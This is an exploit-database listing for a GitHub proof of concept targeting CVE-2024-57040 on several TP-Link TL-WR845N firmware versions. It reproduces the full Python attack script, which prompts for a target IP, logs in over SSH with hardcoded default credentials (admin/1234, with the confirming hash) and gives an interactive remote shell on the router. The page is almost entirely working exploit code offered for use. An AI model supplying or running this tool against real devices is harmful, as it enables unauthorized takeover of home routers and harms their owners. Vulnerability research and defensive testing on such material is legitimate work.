Exploit database

GH-99437ed7e40c89dc53243296c84405a5

absholi7ly/poc-cve-2024-57040

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-57040

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
absholi7ly/poc-cve-2024-57040Revision 2e799fa0e93b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-57040.py

Python · 3,927 bytes
import paramiko
import time
import sys

# Developed by @absholi7ly
# Exploit CVE-2024-57040 on TP-Link TL-WR845N(UN)_V4_190219 / TL-WR845N(UN)_V4_200909 / TL-WR845N(UN)_V4_201214 routers to gain remote access

print("""
  ██████╗  ██████╗  ██████╗     ████████╗██████╗     ██╗     ██╗███╗   ██╗██╗  ██╗
  ██╔══██╗██╔══██╗██╔════╝     ╚══██╔══╝██╔══██╗    ██║     ██║████╗  ██║██║ ██╔╝
  ██████╔╝██████╔╝██║              ██║   ██████╔╝    ██║     ██║██╔██╗ ██║█████╔╝ 
  ██╔═══╝ ██╔══██╗██║              ██║   ██╔═══╝     ██║     ██║██║╚██╗██║██╔═██╗ 
  ██║     ██║  ██║╚██████╗         ██║   ██║         ███████╗██║██║ ╚████║██║  ██╗
  ╚═╝     ╚═╝  ╚═╝ ╚═════╝         ╚═╝   ╚═╝         ╚══════╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝
                                                                       
=== @absholi7ly ===
This tool exploits the CVE-2024-57040 vulnerability on TP-Link TL-WR845N(UN)_V4_190219 / TL-WR845N(UN)_V4_200909 / TL-WR845N(UN)_V4_201214 routers!
""")

def exploit_router():
    target_ip = input("Enter the target router IP address (e.g., 192.168.0.1): ").strip()
    
    # Default credentials based on the extracted hash analysis
    username = "admin"
    password = "1234"  # Password confirmed as $1$$iC.dUsGpxNNJGeOm1dFio/

    # Initialize SSH client
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        # Attempt to connect to the router
        print(f"[*] Attempting to connect to {target_ip} with {username}:{password}...")
        ssh_client.connect(target_ip, username=username, password=password, timeout=10)
        print("[+] Connection successful!")

        print("[*] Opening interactive shell session...")
        shell = ssh_client.invoke_shell()

        while True:
            command = input("Enter command (or 'exit' to quit): ")
            if command.lower() == 'exit':
                print("[*] Closing session...")
                break
            
            shell.send(command + "\n")
            time.sleep(1)  

            if shell.recv_ready():
                output = shell.recv(65535).decode('utf-8')
                print(output)
            else:
                print("[!] No output received. Command may have executed silently.")

    except paramiko.AuthenticationException:
        print("[-] Authentication failed! Check the username/password or ensure the target is vulnerable.")
        print("[!] Possible issues: Wrong credentials or router not running CVE-2024-57040 firmware.")
    
    except paramiko.SSHException as ssh_err:
        print(f"[-] SSH error occurred: {ssh_err}")
        print("[!] Ensure SSH is enabled on the router and the IP is correct.")
    
    except TimeoutError:
        print("[-] Connection timed out!")
        print("[!] Check the IP address or ensure the router is reachable.")
    
    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")
        print("[!] Please verify the setup and try again.")
    
    finally:
        if 'ssh_client' in locals() and ssh_client.get_transport() is not None:
            ssh_client.close()
            print("[*] Connection closed.")

if __name__ == "__main__":
    exploit_router()